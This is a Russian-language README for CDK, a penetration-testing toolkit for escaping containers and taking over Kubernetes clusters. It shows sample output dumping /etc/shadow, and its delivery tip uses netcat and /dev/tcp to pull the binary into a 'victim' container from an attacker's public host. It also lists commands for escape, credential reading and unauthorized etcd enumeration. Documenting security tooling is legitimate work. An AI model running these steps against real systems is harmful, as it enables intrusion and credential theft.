CDK - Набор инструментов для проникновения в контейнеры без зависимостей

Английский | 简体中文

png

Правовое уведомление

Использование CDK для атак на цели без предварительного взаимного согласия незаконно. CDK предназначен только для целей тестирования безопасности.

Обзор

CDK — это набор инструментов с открытым исходным кодом для проникновения в контейнеры, предназначенный для обеспечения стабильной эксплуатации в различных облегченных контейнерах без каких-либо зависимостей от ОС. Он включает полезные сетевые инструменты и множество мощных PoC/EXP, а также помогает легко выйти из контейнера и захватить кластер K8s.

Быстрый старт

Запустите cdk eva для получения оценочной информации и рекомендуемого эксплойта, затем выполните cdk run для начала атаки.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Установка/Доставка

Загрузите последний релиз по адресу https://github.com/cdk-team/CDK/releases/

Поместите исполняемые файлы в целевой контейнер и начните тестирование.

СОВЕТЫ: Доставка CDK в целевой контейнер при реальном тестировании на проникновение

Если у вас есть эксплойт, который может загрузить файл, вы можете загрузить бинарный файл CDK напрямую.

Если у вас есть эксплойт RCE, но в целевом контейнере нет curl или wget, вы можете использовать следующий метод для доставки CDK:

Сначала разместите бинарный файл CDK на вашем хосте с публичным IP.

(on your host)
nc -lvp 999 < cdk

Внутри контейнера жертвы выполните

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Использование

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

Возможности

CDK имеет три модуля:

Evaluate (Оценка): сбор информации внутри контейнера для выявления потенциальных уязвимостей.
Exploit (Эксплуатация): для выхода из контейнера, закрепления и бокового перемещения.
Tool (Инструменты): сетевые инструменты и API для TCP/HTTP запросов, туннелей и управления кластером K8s.

Модуль Evaluate

Usage

cdk evaluate [--full]

Тактика	Скрипт	Поддерживается	Использование/Пример
Сбор информации	Базовая информация об ОС	✔	ссылка
Сбор информации	Доступные возможности	✔	ссылка
Сбор информации	Доступные команды Linux	✔	ссылка
Сбор информации	Точки монтирования	✔	ссылка
Сбор информации	Сетевой namespace	✔	ссылка
Сбор информации	Чувствительные ENV	✔	ссылка
Сбор информации	Чувствительные процессы	✔	ссылка
Сбор информации	Чувствительные локальные файлы	✔	ссылка
Сбор информации	Kube-proxy Route Localnet(CVE-2020-8558)	✔	ссылка
Сбор информации	DNS-обнаружение служб	✔	ссылка
Обнаружение	Информация об API-сервере K8s	✔	ссылка
Обнаружение	Информация о сервис-аккаунте K8s	✔	ссылка
Обнаружение	API метаданных облачного провайдера	✔	ссылка

Модуль Exploit

List all available exploits:

cdk run --list

Run targeted exploit:

cdk run <script-name> [options]

Популярное

CDK